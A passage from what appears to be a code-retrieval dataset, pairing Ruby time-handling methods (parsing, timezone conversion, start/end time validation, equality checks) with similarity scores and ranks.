"def addTime(hour, min, sec)\n addSec(sec) ;\n addMin(min) ;\n addHour(hour) ;\n end",
"def endTimeFrom(bTime)\n return bTime + @sec ;\n end",
"def end_time_after_start_time\n if start_time && end_time && end_time < start_time\n errors.add :end_time, \"must be after the start of shift\"\n errors.add :start_time, \"must be before the end of shift\"\n end\n end",
"def addTime(a, b)\n\ttoReturn = String.new\n\thrA = a[0,2].to_i\n\tminA = a[2,2].to_i\n\thrB = b[0,2].to_i\n\tminB = b[2,2].to_i\n\ttempHr = hrA + hrB\n\ttempMin = minA + minB\n\tif tempMin > 59 then\n\t\ttempMin -= 60\n\t\ttempHr += 1\n\tend\n\tif tempHr < 10 then\n\t\ttoReturn += \"0\"\n\tend\n\ttoReturn += tempHr.to_s\n\tif tempMin < 10 then\n\t\ttoReturn += \"0\"\n\tend\n\ttoReturn += tempMin.to_s\n\treturn toReturn\nend",
"def safe_relative_time(time)\n return unless time\n\n time = parse_time(time)\n\n relative_time(time)\n end",
"def shift_end_hour\n if self.start_time.hour >= 0 && self.start_time.hour <= 2 && self.end_time.hour > 2 \n errors.add(:end_time, 'must be between 7am and 3am')\n end\n if self.end_time.hour > 2 && self.end_time.hour < 7\n errors.add(:end_time, 'must be between 7am and 3am')\n end \n end",
"def to_time\n # Thread-safety: It is possible that the value of @time may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @time is only\n # calculated once.\n\n unless @time\n if @timestamp\n @time = Time.at(@timestamp).utc\n elsif @timestamp_with_offset\n @time = time_with_offset(Time.at(@timestamp_with_offset.timestamp), @timestamp_with_offset.utc_offset)\n else\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @time = Time.new(year, mon, mday, hour, min, s, offset)\n end\n end\n\n @time\n end",
"def random_time_range(range)\n min = time_to_float(range.min)\n max = time_to_float(range.max)\n time = Time.at(random(min..max))\n\n if defined?(DateTime) && range.min.is_a?(DateTime)\n time = time.to_datetime\n elsif range.min.is_a?(Date)\n time = time.to_date\n end\n\n return time\n end",
"def to_time\n p = period\n if p\n new_time(LocalTime).localize(p)\n else\n super\n end\n end",
"def type_literal_generic_time(column)\n if column[:only_time]\n type_literal_generic_only_time(column)\n else\n type_literal_generic_datetime(column)\n end\n end",
"def validate_temporal_sanity\n errors.add(:end_time, \"Must be after Start Time.\") unless self.start_time < self.end_time\n end",
"def update_time(time, value, date = nil)\n value = Time.zone.parse(value)\n time = DateTime.parse(date).utc if date.present?\n time.change(hour: value.hour, min: value.min)\n end",
"def time_value?(input)\n return input.is_a?(Time) || input.is_a?(Date)\n end",
"def normalize_time(start_time, end_time=nil, format: :hcal, context: nil)\n if end_time.nil? and start_time.respond_to?(:start_time)\n end_time = start_time.end_time\n start_time = start_time.start_time\n end\n TimeRange.new(start_time, end_time, format, context).to_s.html_safe\n end",
"def end_time_cannot_be_earlier_than_start_time\n\t\tif end_time && start_time \n\t\t\tif end_time < start_time\n\t\t\t\terrors.add(:end_time, \"End time should not be earlier than start time.\")\n\t\t\tend\n\t\tend\n\tend",
"def time_allow(get_time, min_period_time, max_period_time)\n to_time = Time.parse(get_time)\n now_time = Time.now\n return to_time - now_time < max_period_time - min_period_time && to_time - now_time > min_period_time\n end",
"def to_timecode(t1,t2)\n # enforce type\n t1 = t1.to_f\n t2 = t2.to_f\n \n # enforce bounds\n t1 = 0.0 if t1 < 0.0\n t2 = 0.0 if t2 < 0.0\n t1 = 86399.0 if t1 > 86399.0\n t2 = 86399.0 if t2 > 86399.0\n \n # start <= end\n t1,t2 = t2,t1 if t2 < t1\n \n return Util.timecode(t1,@fps), Util.timecode(t2,@fps)\n end",
"def to_time\n # Thread-safety: It is possible that the value of @time may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @time is only\n # calculated once.\n\n unless @time\n if @timestamp\n @time = Time.at(@timestamp).utc\n else\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @time = Time.new(year, mon, mday, hour, min, s, offset)\n end\n end\n\n @time\n end",
"def contact_time(time)\n return '' if !time.is_a?(Time) and !(Float Integer).include?(time_offset.class)\n time - time_offset\n rescue\n time\n end",
"def wind_forward_to(time_str)\n hour = time_str[0..1]\n min = time_str[3..4]\n adjusted = self.change(hour: hour.to_i, min: min.to_i)\n adjusted = adjusted + 1.day if self.after?(time_str)\n adjusted\n end",
"def time_for(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n # DateTime#to_time does the same on 1.9\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n # Date#to_time does the same on 1.9\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def time_for(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n # DateTime#to_time does the same on 1.9\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n # Date#to_time does the same on 1.9\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def to_offset(offset)\n if @orig.is_a?(DateTime)\n off = OffsetRationals.rational_for_offset(offset)\n TimeOrDateTime.new(@orig.new_offset(off), false)\n elsif @orig.is_a?(Time)\n time = @time.getutc + offset\n nsec_part = Rational(time.nsec, 1_000_000_000)\n time = Time.new(time.year, time.mon, time.mday, time.hour, time.min, time.sec + nsec_part, offset)\n TimeOrDateTime.new(time, false)\n else\n # Integer: fallback to \"just shift timestamp\"\n TimeOrDateTime.new(@orig + offset)\n end\n end",
"def start_end_time\n errors[:start_time] << _('errors.invalid_shift_time') if start_time.to_i > end_time.to_i\n end",
"def sync_time(time)\n Time.local(self.dt.year, self.dt.mon, self.dt.mday, time.hour, time.min, time.sec)\n end",
"def <=>(other)\n case other\n when Time\n cmp = @tv_sec <=> other.tv_sec\n return cmp unless cmp == 0\n return @tv_usec <=> other.tv_usec\n else\n return nil\n end\n end",
"def time(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n elsif value.nil? or value.empty?\n nil\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def to_time(options = {})\n t = range(options).last.strftime(\"%T\")\n return nil if t == \"23:59:59\"\n t\n end",
"def add(from, to)\n @day.merge_range(@with_time ? Range.create_time_range(from, to) : from..to)\n day\n end",
"def test_datetime_plus_number_year_boundary()\n sec_delta = 5 # Between 0 and 49\n min_delta = 10 # Between 0 and 29\n hour_delta = 1 # Between 0 and 42\n day_delta = 3 # Between 0 and 23\n datetime = @ad_manager.datetime(\n 2017, 12, 31, 17, 30, 10, 'America/New_York'\n )\n datetime = datetime + sec_delta + min_delta * 60 + hour_delta * 60 * 60 +\n day_delta * 60 * 60 * 24\n assert_equal(2018, datetime.year)\n assert_equal(1, datetime.month)\n assert_equal(day_delta, datetime.day)\n assert_equal(17 + hour_delta, datetime.hour)\n assert_equal(30 + min_delta, datetime.min)\n assert_equal(10 + sec_delta, datetime.sec)\n assert_equal('America/New_York', datetime.timezone.identifier)\n assert_equal(-18000, datetime.utc_offset)\n assert_true(datetime.is_a? AdManagerApi::AdManagerDateTime)\n end",
"def time_range\n return 0 if start_hour.blank? || start_minute.blank?\n\n return 0 if end_hour.blank? || end_minute.blank?\n\n hours_between_times\n end",
"def end_time_after_start_time\n if self.end_time && self.end_time < self.start_time\n self.errors.add(:end_time, \"The end time must be after the start time\")\n end\n end",
"def since(time)\n case time\n when Date, Time, DateTime then time + self\n else raise ArgumentError.new('#since takes a Time-like')\n end\n end",
"def add_time\n if (date.hour == 0 or date.hour == 12) and date.min == 0 and date.sec == 0\n self.date = date + id \n end\n end",
"def type\n 'Edm.Time'\n end",
"def time_wrap(obj)\n obj.kind_of?(String) ? Time.parse(obj) : obj\n end",
"def range(options = {})\n value.to_time_range((options[:now] or Time.now)) \n end",
"def adjust_to_noon (time)\n\tnew_time = Time.new(time.year, time.month, time.day) \n\treturn new_time\nend",
"def end_time_after_start_time\n return if end_time.blank? || start_time.blank?\n\n if end_time < start_time\n errors.add(:end_time, \"must be after the start time\")\n end\n end",
"def to_time\n if_period(super) do |p,t|\n # Ruby 2.4.0 changed the behaviour of to_time so that it preserves the\n # offset instead of converting to the system local timezone.\n #\n # When self has an associated TimezonePeriod, this implementation will\n # preserve the offset on all versions of Ruby.\n LocalTime.at(t.to_i, t.subsec * 1_000_000).localize(p)\n end\n end",
"def time_range\n start_time..end_time\n end",
"def normalize_time(time, debug)\n begin\n time = time if(time.is_a?(Time))\n time = Time.parse(\"#{time.to_s}\") if(!time.is_a?(Time))\n rescue\n time = Time.now # Upon failure use the current time value\n end\n\n return time\nend",
"def start_time_before_end_time\n if start_time and end_time and start_time >= end_time\n errors.add(:start_time, \"Must be before end time\")\n errors.add(:end_time, \"Must be after start time\")\n end\n end",
"def advance_operation_time(new_operation_time)\n if @operation_time\n @operation_time = [ @operation_time, new_operation_time ].max\n else\n @operation_time = new_operation_time\n end\n end",
"def addSeconds time_in_sec_1, time_in_sec_2\n \n if time_in_sec_1 == -1 \n return time_in_sec_2 \n end\n if time_in_sec_2 == -1 \n return time_in_sec_1 \n end\n \n return time_in_sec_1.to_i + time_in_sec_2.to_i\n end",
"def validate_time(time)\n\t\tif time.is_a? Time\n\t\t\treturn time\n\t\telse\n\t\t\treturn Time.parse(time)\n\t\tend\n\tend",
"def to_sequel_time\n begin\n Sequel.datetime_class.parse(self)\n rescue => e\n raise Sequel::Error::InvalidValue, \"Invalid time value '#{self}' (#{e.message})\"\n end\n end",
"def update_time(time, uuid)\n if time.key?('duration')\n unless time['duration'].is_a? Integer\n duration = duration_to_seconds(time['duration'])\n time['duration'] = duration\n\n # Duration at this point contains an error_msg if not an int\n return duration unless time['duration'].is_a? Integer\n end\n\n if time['duration'] < 0\n return Hash[@error => 'time object: duration cannot be negative']\n end\n\n end\n create_or_update(time, uuid, 'time', 'times', false)\n end",
"def +(seconds)\n TzTime.new(time + seconds, @zone)\n end",
"def adjust_time(timestring)\n if (timestring=='') or ( timestring == nil)\n return nil\n else\n return Time.parse(timestring + 'UTC')\n end\n end"
] |
[
"0.69330156",
"0.6875831",
"0.6834405",
"0.6063978",
"0.580282",
"0.580282",
"0.5762877",
"0.5727283",
"0.57195586",
"0.56744367",
"0.5672837",
"0.56247836",
"0.5622446",
"0.5610763",
"0.55622",
"0.5555238",
"0.5413637",
"0.54022485",
"0.5381119",
"0.53592527",
"0.5356421",
"0.53461653",
"0.5331848",
"0.53150564",
"0.5263181",
"0.52430487",
"0.52405477",
"0.5237004",
"0.52337766",
"0.5229511",
"0.52067757",
"0.52013016",
"0.519679",
"0.51938915",
"0.5180236",
"0.5154251",
"0.5148032",
"0.51352286",
"0.5131316",
"0.51286435",
"0.5112318",
"0.51091266",
"0.509729",
"0.5082057",
"0.50736064",
"0.50665116",
"0.5061766",
"0.5060619",
"0.50468904",
"0.5046251",
"0.5042931",
"0.50283563",
"0.5020887",
"0.501359",
"0.50083965",
"0.50071037",
"0.49905226",
"0.49850878",
"0.4978201",
"0.4973949",
"0.49603066",
"0.4948893",
"0.4945387",
"0.49378654",
"0.4936921",
"0.49355686",
"0.49345896",
"0.4927883",
"0.492117",
"0.49206248",
"0.49196675",
"0.49183553",
"0.49179247",
"0.49099714",
"0.49086043",
"0.48966497",
"0.4894385",
"0.48942962",
"0.48922017",
"0.48735964",
"0.486279",
"0.48627514",
"0.4857419",
"0.48531184",
"0.48504028",
"0.48466057",
"0.4846318",
"0.48455748",
"0.48413303",
"0.48347783",
"0.48152602",
"0.4808694",
"0.48082355",
"0.47929052",
"0.47918814",
"0.47891238",
"0.4784726",
"0.47818154",
"0.47797856",
"0.47756585"
] |
0.5394861
|
18
|
Returns true if todt represents the same time and was originally constructed with the same type (DateTime, Time or timestamp) as this TimeOrDateTime.
|
def eql?(todt)
todt.kind_of?(TimeOrDateTime) && to_orig.eql?(todt.to_orig)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def eql?(todt)\n todt.kind_of?(TimeOrDateTime) && to_orig.eql?(todt.to_orig)\n end",
"def eql?(todt)\n todt.kind_of?(TimeOrDateTime) && to_orig.eql?(todt.to_orig)\n end",
"def ==(other)\n self.same_time?(other)\n end",
"def same?(other)\n other.hour == @hour and other.minute == @minute and other.second == @second and other.millis == @millis\n end",
"def same_time?(other)\n return false unless self.b == other.b\n return true if self.n.zero? && other.n.zero?\n self_div = Rational(self.n, self.d)\n other_div = Rational(other.n, other.d)\n self_div == other_div\n end",
"def time_right_now? time\n time_now_with_resetted_date = reset_date_for_time_now\n time_with_resetted_date = reset_date_for_time time\n (time_now_with_resetted_date <=> time_with_resetted_date) == Timeable::TIME_COMPARE_RESULTS[:both_sides_same_time]\n end",
"def ==(datetime)\n return false unless DateTime === datetime\n super and hour == datetime.hour and min == datetime.min and sec == datetime.sec and usec == datetime.usec \n end",
"def test?(date_or_time)\n if fixed?\n resolve(date_or_time) == date_or_time\n elsif moving?\n resolve(date_or_time) == date_or_time\n else\n false\n end\n end",
"def eql_with_coercion(other)\n # if other is an ActiveSupport::TimeWithZone, coerce a Time instance from it so we can do eql? comparison\n other = other.comparable_time if other.respond_to?(:comparable_time)\n eql_without_coercion(other)\n end",
"def datetime?\n type == \"DATETIME\"\n end",
"def time?\n type == \"TIME\"\n end",
"def ==(another_date)\n return false if self.precision != another_date.precision\n self.to_datetime == another_date.to_datetime\n end",
"def eql?(ttd)\n ttd.kind_of?(TimezoneTransitionDefinition) &&\n offset == ttd.offset && previous_offset == ttd.previous_offset &&\n timestamp == ttd.timestamp\n end",
"def ==(other)\n self.hour == other.hour && self.minute == other.minute\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n from == o.from &&\n timezone == o.timezone &&\n to == o.to\n end",
"def valid_time_or_date?(value)\n value.is_a?(Time) || value.is_a?(Date) || value.is_a?(ActiveSupport::TimeWithZone)\n end",
"def ==(other)\n # If lexically invalid, use regular literal testing\n return super unless self.valid?\n\n case other\n when Literal::Time\n return super unless other.valid?\n # Compare as strings, as time includes a date portion, and adjusting for UTC\n # can create a mismatch in the date portion.\n self.object.new_offset.strftime('%H%M%S.%L') == other.object.new_offset.strftime('%H%M%S.%L')\n when Literal::DateTime, Literal::Date\n false\n else\n super\n end\n end",
"def eql?(tti)\n tti.kind_of?(TimezoneTransitionDefinition) &&\n offset == tti.offset && previous_offset == tti.previous_offset &&\n numerator_or_time == tti.numerator_or_time && denominator == tti.denominator \n end",
"def eql?(other)\n other.eql?(utc)\n end",
"def time_before_now? time\n time_now_with_resetted_date = reset_date_for_time_now\n time_with_resetted_date = reset_date_for_time time\n (time_now_with_resetted_date <=> time_with_resetted_date) == Timeable::TIME_COMPARE_RESULTS[:right_side_later]\n end",
"def eql?(tti)\r\n tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) &&\r\n tti.respond_to?(:numerator_or_time) && tti.respond_to?(:denominator) &&\r\n offset == tti.offset && previous_offset == tti.previous_offset &&\r\n numerator_or_time == tti.numerator_or_time && denominator == tti.denominator \r\n end",
"def time_value?(input)\n return input.is_a?(Time) || input.is_a?(Date)\n end",
"def eql?(tti)\n tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) &&\n tti.respond_to?(:numerator_or_time) && tti.respond_to?(:denominator) &&\n offset == tti.offset && previous_offset == tti.previous_offset &&\n numerator_or_time == tti.numerator_or_time && denominator == tti.denominator\n end",
"def same_date_as(other)\n self.as_date == other.as_date\n end",
"def set_time_in_time_zone\n return true if time_observed_at.blank? || time_zone.blank?\n return true unless time_observed_at_changed? || time_zone_changed?\n \n # Render the time as a string\n time_s = time_observed_at_before_type_cast\n unless time_s.is_a? String\n time_s = time_observed_at_before_type_cast.strftime(\"%Y-%m-%d %H:%M:%S\")\n end\n \n # Get the time zone offset as a string and append it\n offset_s = Time.parse(time_s).in_time_zone(time_zone).formatted_offset(false)\n time_s += \" #{offset_s}\"\n \n self.time_observed_at = Time.parse(time_s)\n true\n end",
"def ==(other)\n return false unless other\n return false unless other.respond_to?(:frequency) && other.frequency == frequency\n return false unless other.respond_to?(:day_of_week) && other.day_of_week == day_of_week\n return false unless time_attribute_equal(other, :start_at)\n return false unless time_attribute_equal(other, :end_on)\n true\n end",
"def ===(other)\n case other\n when Date\n @days.include? Date.jd(other.jd) #in case it's a DateTime\n when Time\n @days.include? Date.civil(other.year, other.month, other.day)\n else\n super\n end\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n from_ts == o.from_ts &&\n group_by == o.group_by &&\n groups == o.groups &&\n monitors == o.monitors &&\n overall == o.overall &&\n series == o.series &&\n thresholds == o.thresholds &&\n to_ts == o.to_ts &&\n type == o.type &&\n type_id == o.type_id\n end",
"def is_a?(klass)\n klass == ::Time || super\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n day == o.day &&\n from == o.from &&\n to == o.to\n end",
"def ==(other)\n return false if other.class != self.class\n if @duration != other.duration\n return false\n end\n return true\n end",
"def after?(date_or_time)\n self > date_or_time\n end",
"def eql?(t)\n self == t\n end",
"def ==(tti)\n tti.kind_of?(TimezoneTransition) &&\n offset == tti.offset && previous_offset == tti.previous_offset && timestamp_value == tti.timestamp_value\n end",
"def time_after_now? time\n time_now_with_resetted_date = reset_date_for_time_now\n time_with_resetted_date = reset_date_for_time time\n (time_now_with_resetted_date <=> time_with_resetted_date) == Timeable::TIME_COMPARE_RESULTS[:left_side_later]\n end",
"def before?(date_or_time)\n self < date_or_time\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n duration == o.duration &&\n rrule == o.rrule &&\n start == o.start\n end",
"def new_timetable?\n is_new = true\n unless TimetableFileInfo.last.nil?\n is_new = TimetableCheckService.modified_since?(last_timetable_datetime_with_zone)\n end\n is_new\n end",
"def eql?(other)\n other.class == self.class &&\n other.logical_path == self.logical_path &&\n other.mtime.to_i == self.mtime.to_i &&\n other.digest == self.digest\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.is_a?(TimestampWithOffset) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n elsif @orig.is_a?(TimestampWithOffset) || orig.is_a?(TimestampWithOffset)\n to_timestamp_with_offset.timestamp <=> timeOrDateTime.to_timestamp_with_offset.timestamp\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def time_define?\n !time.blank?\n end",
"def relevant_time?\n\t\tself.start <= DateTime.now && self.end >= DateTime.now\n\t\t# (self.start.hour <= DateTime.now.hour) (self.start.minute <= DateTime.now.minute) && (self.end.hour >\tDateTime.now.hour) \n\tend",
"def last_iter?(from, to)\n from.day == to.day && from.hour == to.hour\n end",
"def datetime?\n !@arg[:datetimeValue].nil?\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) || \n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n \n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n \n orig = timeOrDateTime.to_orig\n \n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason \n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def matches?(time=Time.now)\n\n time = as_time(time)\n\n return false unless sub_match?(time, :sec, @seconds)\n return false unless sub_match?(time, :min, @minutes)\n return false unless sub_match?(time, :hour, @hours)\n return false unless date_match?(time)\n true\n end",
"def historical?\n self.as_of_time.present?\n end",
"def has_both_timestamps?\n has_created_at_timestamp? && has_updated_at_timestamp?\n end",
"def ===(other)\n super || other.is_a?(StringDate)\n end",
"def historical?\n self.attributes.key?('as_of_time') || self.kind_of?(self.class.history)\n end",
"def isDateDuplicated?(date)\n # binding.pry\n self.user_times.none?{ |day_time| day_time.clock_in.to_s.slice(8, 2) == date }\n # binding.pry \n end",
"def ==(other)\n # If lexically invalid, use regular literal testing\n return super unless self.valid?\n\n case other\n when Literal::DateTime\n return super unless other.valid?\n self.object == other.object\n when Literal::Time, Literal::Date\n false\n else\n super\n end\n end",
"def ==(other_trip)\n\t @start_time == other_trip.start_time && @end_time == other_trip.end_time && @distance == other_trip.distance\n\tend",
"def existed_at?(aTime)\n return @date >= aTime\n end",
"def time_default?(a_time)\n default = Time.now.change({ hour: 23, min: 59})\n hour(default) == hour(a_time)\n end",
"def time_default?(a_time)\n default = Time.now.change({ hour: 23, min: 59})\n hour(default) == hour(a_time)\n end",
"def test_not_equal_to\n @t1 = DatelessTime.new \"15:45:10\"\n @t2 = DatelessTime.new \"10:30:00\"\n @t3 = DatelessTime.new \"15:45:10\"\n\n assert @t1 != @t2\n refute @t1 != @t3\n refute @t3 != @t1\n end",
"def test_not_equal_to\n @t1 = DatelessTime.new \"15:45:10\"\n @t2 = DatelessTime.new \"10:30:00\"\n @t3 = DatelessTime.new \"15:45:10\"\n\n assert @t1 != @t2\n refute @t1 != @t3\n refute @t3 != @t1\n end",
"def eql?(ct)\n self == ct\n end",
"def == (sale)\n return false if sale.nil? || !sale.is_a?(self.class)\n (sale.end_time == self.end_time && sale.start_time == self.start_time && sale.original_price == self.original_price)\n end",
"def compare_with_coercion(other)\n # we're avoiding Time#to_datetime and Time#to_time because they're expensive\n if other.class == Time\n compare_without_coercion(other)\n elsif other.is_a?(Time)\n compare_without_coercion(other.to_time)\n else\n to_datetime <=> other\n end\n end",
"def time?\n !times.empty?\n end",
"def ==(other)\n if other.is_a?(Saulabs::Reportable::ReportingPeriod)\n @date_time == other.date_time && @grouping.identifier == other.grouping.identifier\n elsif other.is_a?(Time) || other.is_a?(DateTime)\n @date_time == parse_date_time(other)\n else\n raise ArgumentError.new(\"Can only compare instances of #{self.class.name}\")\n end\n end",
"def ==(other)\n self.class == other.class &&\n longitude == other.longitude &&\n latitude == other.latitude &&\n elevation == other.elevation &&\n time == other.time\n end",
"def eql?(rhs)\n rhs.class == self.class && rhs.to_wkt == to_wkt\n end",
"def ==(tti)\n tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) && tti.respond_to?(:at) &&\n offset == tti.offset && previous_offset == tti.previous_offset && at == tti.at\n end",
"def time?\n false\n end",
"def ==( other )\n other.is_a?( TimeDelta ) && ( @msecs == other.msecs )\n end",
"def ==(tti)\r\n tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) && tti.respond_to?(:at) &&\r\n offset == tti.offset && previous_offset == tti.previous_offset && at == tti.at\r\n end",
"def as_of_time\n Conversions.string_to_utc_time attributes_before_type_cast['as_of_time']\n end",
"def contains?(date_or_time)\n \t# TODO We need to make sure time zones are properly handled, probably!\n\n \tstarts_on <= date_or_time && date_or_time < ends_on\n end",
"def valid_at?(time)\n if time.is_a?(Integer)\n time = Time.at(time)\n end\n\n if (self.not_after < time) || (self.not_before > time)\n false\n else\n true\n end\n end",
"def ==(other)\n if self.class === other\n self.value == other.value && self.visible_params == other.visible_params && self.tzid == other.tzid\n else\n super\n end\n end",
"def after?(other)\n if other.hour < @hour\n return true\n elsif other.hour == @hour\n if other.minute < @minute\n return true\n elsif other.minute == @minute\n if other.second < @second\n return true\n elsif other.second == @second\n return other.millis < @millis\n end\n end\n end\n false\n end",
"def relevant_time?\n\t\tself.start < Time.now && self.end >Time.now \n\tend",
"def >(other)\n return true if self.hour > other.hour\n return false if self.hour < other.hour\n\n self.minute > other.minute\n end",
"def existed_at?(aTime)\n return @creation >= aTime\n end",
"def verify_start_time time\n\n # Check that there are currently\n # records on the day to iterate through\n dsym = self.class.date_symbol time\n return true if not self.class.days_index[dsym]\n\n self.class.days_index[dsym].each do |record|\n\n next if record.end_time == :running\n next if record == self\n if time < record.end_time\n raise ArgumentError, \"Time conflict with existing record\" if time_in_record? time, record\n end\n end\n true\n end",
"def time_in_record? time, record\n return false if record.end_time == :running\n time >= record.start_time && time <= record.end_time\n end",
"def eql?(other)\n self.equal?(other) ||\n (self.class.eql?(other.class) &&\n self.datatype.eql?(other.datatype) &&\n self == other)\n end",
"def specific?\n starts_at.is_a?(Time) && ends_at.is_a?(Time)\n end",
"def time_safe_equals(a, b)\n a.hash == b.hash && a == b\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n digits == o.digits &&\n refresh_interval == o.refresh_interval\n end",
"def ==(other)\n # If lexically invalid, use regular literal testing\n return super unless self.valid?\n\n case other\n when Literal::Date\n return super unless other.valid?\n self.object == other.object\n when Literal::Time, Literal::DateTime\n false\n else\n super\n end\n end",
"def same_day_for_datetimes?\n\t\tdays[start_datetime.wday] == days[end_datetime.wday]\n\tend",
"def belongs_to_synced?(col, owner)\n # The :belongs_to that points to the instance has changed\n return false if get_belongs_to_attr(col) != owner\n\n # The polymorphic reference (_type, _id) columns do not match, maybe it was just saved\n return false if col.polymorphic && !polymorphic_attr_matches?(col, owner)\n\n # The key reference (_id) column does not match, maybe it was just saved\n return false if _get_attr(col.foreign_key) != owner.try(:id)\n\n true\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n mti == o.mti &&\n stan == o.stan &&\n transmission_time == o.transmission_time &&\n acquiring_institution_id == o.acquiring_institution_id &&\n network_reference_id == o.network_reference_id &&\n forwarding_institution_id == o.forwarding_institution_id &&\n transaction_token == o.transaction_token\n end",
"def ==(other)\n other.class == self.class &&\n other.start_date == @start_date &&\n other.end_date == @end_date\n end",
"def valid_tee_time?(datetime)\n before_5pm = (datetime.hour <= 16 && datetime.min <= 40)\n after_9am = datetime.hour >= 9\n before_end_date = (datetime + 3.hours) <= @end_time\n return before_5pm && after_9am && before_end_date\n end",
"def as_of_time\n @_as_of_time\n end",
"def as_of_time\n @_as_of_time\n end",
"def equals( t2 )\n t1 = self.clone\n t1.toK\n t2.toK\n if t1.value == t2.value then return true\n else return false\n end\n end",
"def ==(ct)\n ct.kind_of?(CountryTimezone) &&\n identifier == ct.identifier && latitude == ct.latitude &&\n longitude == ct.longitude && description == ct.description \n end",
"def eql?(other)\n return false unless other.class == Gregorian\n return (@year.eql? other.year) &&\n (@month.eql? other.month) &&\n (@day.eql? other.day)\n end",
"def ==(other)\n timestamp.to_f == other.timestamp.to_f &&\n [:uuid, :duration, :response, :path, :request, :params].all? { |k| send(k) == other.send(k) }\n end",
"def correct_time?\n now = Time.zone.now\n now.hour == 8 && now.min < 5\n end",
"def open_at_this_time?\n now = timenow\n time_inside?(now, start_time.utc, end_time.utc)\n end",
"def valid?(time=Time.now.utc)\n time>not_before && time<self.not_after\n end",
"def include? date_time\n return false if !(date_time.is_a?(String) or date_time.is_a?(DateTime))\n helper = DateTimeIndexHelper\n if date_time.is_a?(String)\n date_precision = helper.determine_date_precision_of date_time\n date_time = helper.date_time_from date_time, date_precision\n end\n\n result = @data.bsearch {|d| d[0] >= date_time }\n result[0] == date_time\n end"
] |
[
"0.8377924",
"0.8377924",
"0.73043144",
"0.68743277",
"0.6862144",
"0.6688016",
"0.6604063",
"0.6364341",
"0.62827164",
"0.62707275",
"0.6227917",
"0.61325485",
"0.61109716",
"0.60979223",
